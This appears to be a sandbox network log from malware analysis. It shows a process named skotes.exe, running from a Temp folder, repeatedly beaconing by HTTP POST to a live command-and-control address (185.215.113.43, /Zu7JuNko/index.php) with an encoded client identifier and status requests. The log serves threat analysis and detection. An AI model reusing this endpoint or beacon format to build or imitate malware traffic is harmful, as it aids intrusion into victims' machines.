Nov 12, 2024 21:24:36.107348919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49894	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:37.632559061 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:38.568209887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49895	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:40.207972050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:41.110548019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49896	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:42.629911900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:43.554795027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49897	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:45.192532063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:46.287837982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49898	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:47.803386927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:48.746072054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49899	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:50.380264997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:51.294826984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49900	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:52.818176031 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:53.728276014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49901	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:55.372967005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:56.314924002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49902	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:57.831641912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:58.760713100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49903	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:00.395139933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:01.302917957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49904	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:02.817104101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:03.722438097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49905	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:05.367362976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:06.301434040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49906	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:07.817609072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:08.728214025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49907	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:10.364155054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49908	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:12.724704981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:13.616345882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49909	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:15.261185884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:16.159509897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49910	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:17.680768013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:18.595769882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49911	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:20.224751949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:21.135020018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49912	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:22.661360979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:23.586898088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49913	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:25.223128080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:26.122575998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49914	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:27.644258022 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:28.567363977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49915	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:30.207881927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:31.118324995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49916	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:32.629396915 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:33.568658113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49917	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

